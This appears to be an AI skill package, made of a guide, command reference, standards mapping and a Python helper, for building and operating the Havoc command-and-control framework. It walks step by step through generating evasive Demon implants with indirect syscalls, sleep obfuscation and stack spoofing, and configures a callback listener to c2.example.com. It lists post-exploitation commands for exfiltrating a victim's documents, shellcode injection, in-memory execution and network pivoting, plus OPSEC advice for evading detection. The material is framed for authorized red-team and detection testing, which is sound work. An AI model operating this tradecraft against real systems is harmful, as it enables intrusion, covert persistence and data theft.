npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
Legal Notice: This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.
Overview
Havoc is an open-source, modern command-and-control framework created by @C5pider (https://github.com/HavocFramework/Havoc). Its primary implant, the Demon, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate / Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko / FOLIAGE) that encrypt the agent in memory while it sleeps. The team server is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc client, a Qt GUI.
Havoc's behavior is driven by a Yaotl profile — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.
When to Use
- When an authorized red-team engagement calls for an evasive, GUI-driven C2
- When emulating an adversary that uses Havoc/Demon (per threat intelligence) in a purple-team exercise
- When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing
- When demonstrating post-exploitation impact and lateral movement for a report
Prerequisites
- A dedicated Linux host (Debian/Ubuntu/Kali) for the team server
- Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client
- mingw-w64 and nasm for cross-compiling the Demon for Windows targets
- Signed authorization / rules of engagement
Install dependencies and build from source:
# Clone the framework
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Debian/Ubuntu/Kali build dependencies
sudo apt update && sudo apt install -y \
git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm
# Build the team server
make ts-build
# Build the client
make client-buildObjectives
- Author a Yaotl profile defining team server, operators, and a listener
- Launch the Havoc team server and connect with the client
- Create an HTTP(S) listener
- Generate an evasive Demon agent (EXE / shellcode) with sleep obfuscation
- Interact with the Demon and run post-exploitation commands
- Execute .NET assemblies and BOFs in-memory
- Pivot through the beachhead via SOCKS and port forwarding
MITRE ATT&CK Mapping
| ID | Technique | Use in this skill |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | The Demon's HTTP(S) listener carries C2 over web protocols to blend with normal traffic |
Related techniques exercised by the workflow:
| ID | Technique |
|---|---|
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution (indirect syscalls) |
| T1620 | Reflective Code Loading (in-memory .NET / BOF) |
| T1055 | Process Injection |
| T1090.001 | Internal Proxy (SOCKS pivot) |
Workflow
Step 1: Write a Yaotl profile
Create profiles/engagement.yaotl defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "ChangeMe_Str0ng!"
}
}
Listeners {
Http {
Name = "https-listener"
Hosts = ["c2.example.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true # HTTPS
}
}
Demon {
Sleep = 30
Jitter = 25
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}Step 2: Launch the team server
Run the team server with your profile (privileged ports may require sudo):
# Verbose run with a custom profile
./havoc server --profile profiles/engagement.yaotl -v
# Add debug logging
./havoc server --profile profiles/engagement.yaotl --verbose --debugStep 3: Connect with the client
Launch the Qt client and connect to the team server using the operator credentials from the profile:
./havoc clientIn the connect dialog: enter the team server host, port 40056, operator name operator1, and the profile password. The Demon panel and listener views appear once connected.
Step 4: Create / verify a listener
The HTTP listener defined in the profile loads automatically. To add another at runtime use Listeners → Add in the GUI and configure: Name, Hosts (callback domains/IPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).
Step 5: Generate a Demon agent
In the GUI go to Attack → Payload and configure the Demon build:
- Listener:
https-listener - Architecture:
x64 - Format:
Windows Exe,Windows Dll, orWindows Shellcode - Sleep: e.g.,
30seconds with jitter - Indirect Syscalls: Enabled (Hell's Gate / Halo's Gate)
- Sleep Technique:
Ekko(encrypts agent memory during sleep) - Stack Spoofing / Proxy Loading: Enabled
- Sleep Jmp Gadget: as available
Click Generate to produce the payload. Deliver it to the target through your authorized initial-access method.
Step 6: Interact with the Demon
When a Demon checks in it appears in the session table. Right-click → Interact (or double-click) to open the console. Core post-exploitation commands:
# Situational awareness
whoami
pwd
ls
ps
ipconfig
net localgroup administrators
# Token / privilege
getprivs
token list
# File operations
download C:\Users\victim\Documents\secrets.docx
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exeStep 7: In-memory execution (.NET and BOFs)
The Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:
# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)
dotnet inline-execute /opt/tools/Seatbelt.exe -group=system
# Run a Beacon Object File
inline-execute /opt/bofs/whoami.oStep 8: Process injection and migration
# Inject shellcode into a spawned/target process
shellcode inject x64 PID /tmp/payload.bin
# Run an assembly under a sacrificial process per profile Injection settings
proc create C:\Windows\System32\notepad.exeStep 9: Pivot into segmented networks
# Start a SOCKS5 proxy through the Demon for proxychains tooling
socks add 1080
# Port forward (reverse) to reach an internal service
rportfwd add 8443 10.0.5.20 443Step 10: Clean up
# Remove uploaded artifacts and exit the agent cleanly
rm C:\Windows\Temp\tool.exe
exitStop the team server (Ctrl-C) and revoke operator credentials at engagement end.
Tools and Resources
| Resource | Purpose | Link |
|---|---|---|
| Havoc Framework | Source and releases | https://github.com/HavocFramework/Havoc |
| Havoc Documentation | Official docs (teamserver, profiles, agent) | https://havocframework.com/docs |
| Havoc Profiles | Sample Yaotl profiles | https://github.com/HavocFramework/Havoc/tree/main/profiles |
| MITRE ATT&CK T1071.001 | Web Protocols | https://attack.mitre.org/techniques/T1071/001/ |
OPSEC and Detection Considerations
| Demon feature | Purpose | Defender detection opportunity |
|---|---|---|
| Indirect syscalls (Hell's/Halo's Gate) | Bypass user-mode API hooks | Kernel ETW (Threat-Intelligence provider), call-stack anomalies |
| Sleep obfuscation (Ekko) | Encrypt agent in memory while sleeping | Memory scanning between sleeps, timer-queue/ROP artifacts |
| Stack spoofing | Hide implant in call stacks | Unbacked-memory thread start, spoofed-frame heuristics |
| HTTP(S) C2 | Blend with web traffic | Beaconing periodicity, JA3/TLS fingerprint, malleable headers |
- Tune
SleepandJitterhigh to reduce beacon regularity. - Front HTTP(S) listeners with nginx/Apache redirectors; never expose the team server IP.
- Prefer in-memory
dotnet inline-execute/ BOFs over spawning child processes.
Validation Criteria
- Havoc team server and client built from source successfully
- Yaotl profile authored with team server, operator, and HTTP(S) listener
- Team server launched with the profile and operator connected via client
- HTTP(S) listener active
- Evasive Demon agent generated with sleep obfuscation and indirect syscalls
- Demon checks in and post-exploitation commands run
- A .NET assembly or BOF executed in-memory
- SOCKS proxy or port-forward established for pivoting
- Artifacts removed, agent exited, and team server stopped at cleanup
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md2.2 KB
Havoc C2 Command Reference
Source: Havoc Documentation (https://havocframework.com/docs) and Demon console.
Build (from source)
| Command | Description |
|---|---|
git clone https://github.com/HavocFramework/Havoc.git |
Clone the framework |
make ts-build |
Build the team server binary |
make client-build |
Build the Qt client binary |
Team server
| Command / flag | Description |
|---|---|
./havoc server --profile FILE.yaotl |
Run team server with a Yaotl profile |
-v, --verbose |
Show timestamps with messages |
--debug |
Detailed operational logging |
--debug-dev |
Compile agents with debug output |
-d, --default |
Use built-in configuration values |
./havoc client |
Launch the operator GUI client |
Yaotl profile blocks
| Block | Purpose |
|---|---|
Teamserver { Host, Port, Build {...} } |
Bind address/port and compiler/nasm paths |
Operators { user "name" { Password } } |
Operator accounts |
Listeners { Http {...} / Smb {...} } |
HTTP(S) and SMB listeners |
Demon { Sleep, Jitter, Injection {...} } |
Demon agent defaults |
Demon agent commands
| Command | Description |
|---|---|
whoami, pwd, ls, ps, ipconfig |
Situational awareness |
getprivs, token list |
Privilege/token enumeration |
download FILE / upload SRC DST |
File transfer |
dotnet inline-execute ASM ARGS |
Run a .NET assembly in-memory |
inline-execute BOF.o ARGS |
Run a Beacon Object File |
shellcode inject ARCH PID FILE |
Inject shellcode into a process |
proc create PATH |
Spawn a sacrificial process |
socks add PORT |
Start a SOCKS5 proxy through the Demon |
rportfwd add LPORT RHOST RPORT |
Reverse port forward |
rm FILE |
Delete a file |
exit |
Terminate the agent |
Payload generation (GUI: Attack -> Payload)
| Option | Values |
|---|---|
| Format | Windows Exe / Dll / Shellcode / Service Exe |
| Architecture | x64 / x86 |
| Sleep / Jitter | seconds / percent |
| Indirect Syscalls | Enabled (Hell's Gate / Halo's Gate) |
| Sleep Technique | Ekko / Zilean / WaitForSingleObjectEx |
| Stack Spoofing | Enabled / Disabled |
| Proxy Loading | Enabled / Disabled |
standards.md1.4 KB
Standards Mapping: Operating Havoc C2
MITRE ATT&CK
| ID | Name | Rationale |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | The Havoc Demon's HTTP(S) listener carries C2 over web protocols to blend with legitimate traffic and evade egress filtering. |
Related techniques exercised
| ID | Name | Rationale |
|---|---|---|
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution | The Demon resolves syscalls indirectly (Hell's/Halo's Gate) to bypass user-mode hooks. |
| T1620 | Reflective Code Loading | dotnet inline-execute and BOFs run code in-memory without touching disk. |
| T1055 | Process Injection | The Demon injects shellcode into spawned/sacrificial processes. |
| T1090.001 | Proxy: Internal Proxy | SOCKS and reverse port-forwards route operator traffic through the compromised host. |
NIST CSF 2.0
| ID | Name | Rationale |
|---|---|---|
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | This skill validates that network and endpoint monitoring detect Havoc's HTTP(S) C2 and in-memory evasion techniques, the controls DE.CM-01 governs. |
References
- Havoc Framework: https://github.com/HavocFramework/Havoc
- Havoc Documentation: https://havocframework.com/docs
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1071/001/
- NIST CSF 2.0: https://www.nist.gov/cyberframework
Scripts 1
agent.py5.8 KB
#!/usr/bin/env python3
"""
Havoc C2 team-server operator helper.
Automates common operator setup tasks around the Havoc Framework binary
(https://github.com/HavocFramework/Havoc):
* validate a Yaotl profile for required blocks before launch
* build the team server / client via `make ts-build` / `make client-build`
* launch the team server with a profile (subprocess wrapper)
* scaffold a starter Yaotl profile
Havoc exposes a binary (`./havoc`) rather than a stable Python library, so this
helper wraps the real CLI via subprocess with the documented flags.
Authorized red-team / lab use only.
"""
import argparse
import os
import re
import shutil
import subprocess
import sys
REQUIRED_BLOCKS = ["Teamserver", "Operators", "Listeners", "Demon"]
def validate_profile(path):
"""Check a Yaotl profile contains the blocks Havoc requires to start."""
if not os.path.isfile(path):
raise FileNotFoundError(f"profile not found: {path}")
text = open(path, "r", encoding="utf-8", errors="replace").read()
missing = []
for block in REQUIRED_BLOCKS:
# Yaotl block opens like: BlockName {
if not re.search(rf"\b{re.escape(block)}\b\s*\{{", text):
missing.append(block)
# Basic sanity: at least one operator password and one listener port
has_password = re.search(r"Password\s*=", text) is not None
has_port = re.search(r"Port(Bind|Conn|)\s*=", text) is not None
if missing:
print(f"[!] profile missing block(s): {', '.join(missing)}")
if not has_password:
print("[!] no operator Password = ... found")
if not has_port:
print("[!] no listener Port/PortBind/PortConn found")
ok = not missing and has_password and has_port
print("[+] profile looks valid" if ok else "[!] profile incomplete")
return ok
def scaffold_profile(path, host, listener_host, port):
"""Write a minimal working Yaotl profile."""
if os.path.exists(path):
raise FileExistsError(f"refusing to overwrite existing file: {path}")
profile = f'''Teamserver {{
Host = "{host}"
Port = 40056
Build {{
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}}
}}
Operators {{
user "operator1" {{
Password = "CHANGE_ME_Str0ng!"
}}
}}
Listeners {{
Http {{
Name = "https-listener"
Hosts = ["{listener_host}"]
HostBind = "0.0.0.0"
PortBind = {port}
PortConn = {port}
Secure = true
}}
}}
Demon {{
Sleep = 30
Jitter = 25
Injection {{
Spawn64 = "C:\\\\Windows\\\\System32\\\\notepad.exe"
Spawn32 = "C:\\\\Windows\\\\SysWOW64\\\\notepad.exe"
}}
}}
'''
with open(path, "w", encoding="utf-8") as fh:
fh.write(profile)
print(f"[+] wrote starter profile: {path}")
print("[!] change the operator Password before use.")
def run_make(havoc_dir, target):
"""Run a make build target inside the Havoc repo."""
if shutil.which("make") is None:
raise RuntimeError("`make` not found on PATH")
if not os.path.isdir(havoc_dir):
raise NotADirectoryError(f"Havoc dir not found: {havoc_dir}")
print(f"[*] running: make {target} (cwd={havoc_dir})")
return subprocess.call(["make", target], cwd=havoc_dir)
def launch_server(havoc_bin, profile, verbose, debug):
"""Launch the Havoc team server with the documented flags."""
if not os.path.isfile(havoc_bin):
raise FileNotFoundError(f"havoc binary not found: {havoc_bin}")
if not validate_profile(profile):
print("[!] profile failed validation; aborting launch")
return 2
cmd = [havoc_bin, "server", "--profile", profile]
if verbose:
cmd.append("--verbose")
if debug:
cmd.append("--debug")
print(f"[*] launching: {' '.join(cmd)}")
try:
return subprocess.call(cmd)
except KeyboardInterrupt:
print("\n[*] team server interrupted by operator")
return 0
def build_parser():
p = argparse.ArgumentParser(description="Havoc C2 operator helper.")
sub = p.add_subparsers(dest="action", required=True)
v = sub.add_parser("validate", help="validate a Yaotl profile")
v.add_argument("profile")
s = sub.add_parser("scaffold", help="write a starter Yaotl profile")
s.add_argument("profile")
s.add_argument("--host", default="0.0.0.0", help="team server bind host")
s.add_argument("--listener-host", default="c2.example.com",
help="Demon callback host")
s.add_argument("--port", type=int, default=443, help="listener port")
b = sub.add_parser("build", help="run make ts-build / client-build")
b.add_argument("--dir", default=".", help="path to cloned Havoc repo")
b.add_argument("--target", choices=["ts-build", "client-build"],
default="ts-build")
r = sub.add_parser("serve", help="launch the team server")
r.add_argument("--bin", default="./havoc", help="path to havoc binary")
r.add_argument("--profile", required=True, help="Yaotl profile path")
r.add_argument("--verbose", action="store_true")
r.add_argument("--debug", action="store_true")
return p
def main():
args = build_parser().parse_args()
try:
if args.action == "validate":
sys.exit(0 if validate_profile(args.profile) else 1)
elif args.action == "scaffold":
scaffold_profile(args.profile, args.host, args.listener_host,
args.port)
elif args.action == "build":
sys.exit(run_make(args.dir, args.target))
elif args.action == "serve":
sys.exit(launch_server(args.bin, args.profile, args.verbose,
args.debug))
except (FileNotFoundError, FileExistsError, NotADirectoryError,
RuntimeError) as exc:
sys.stderr.write(f"[!] {exc}\n")
sys.exit(2)
if __name__ == "__main__":
main()